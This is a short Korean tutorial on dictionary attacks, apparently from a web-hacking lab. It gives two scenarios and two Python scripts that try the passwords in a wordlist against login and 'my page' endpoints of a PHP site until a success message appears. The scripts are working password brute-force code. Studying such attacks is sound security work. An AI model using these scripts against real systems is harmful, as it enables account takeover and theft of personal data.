dictionary attack
공격자가 사전에 미리 정의한 단어 목록을 이용하여 무작위로 비밀번호를 대입하는 공격 방식이다. 공격자는 딕셔너리 어택으로 비밀번호를 빠르게 알아낼 수 있으며, 이를 통해 시스템에 침입하거나 개인 정보를 훔칠 수 있다.
Login dictionary attack
공격 시나리오
- 취약한 패스워드로 회원 가입이 가능하다.
- 중복되는 아이디를 발견해 해당 아이디로 dictionary attack 시도
- 패스워드 획득
import requests
# url = "login_ok.php"
with open("wordlist.txt", "r") as f:
lines = f.readlines()
for line in lines:
line = line.strip()
payloads = {"id": "password", "pw": line}
resp = requests.post(url, data=payloads)
result = resp.text.find("로그인되었습니다.")
if result > 0:
print(f"dictionaryAttack Success : {line}")
break
else:
print(f"dictionaryAttack Fail : {line}")My page dictionary attack
공격 시나리오
- 중복되는 아이디로 회원 가입 성공
- 중복되는 계정의 내 페이지에 접근하기 위해서는 패스워드를 알아야 한다.
- dictionary attack 시도
- 패스워드 획득
import requests
# login_url = "login_ok.php"
# mypage_url = "mypage_check.php"
# 로그인 시도
login_payloads = {"user_id": "dictionary", "user_pw": "attack"}
session = requests.Session()
resp = session.post(login_url, data=login_payloads)
result = resp.text.find("로그인에 성공했습니다!")
if result > 0:
print("login Success")
# 마이페이지 접근
with open("wordlist.txt", "r") as f:
lines = f.readlines()
for line in lines:
line = line.strip()
attack_payloads = {"pw": line}
resp = session.post(mypage_url, data=attack_payloads)
result = resp.text.find("마이페이지에 접근합니다.")
if result > 0:
print(f"attack Success, password is [{line}]")
break
else:
print(f"attack Fail : {line}")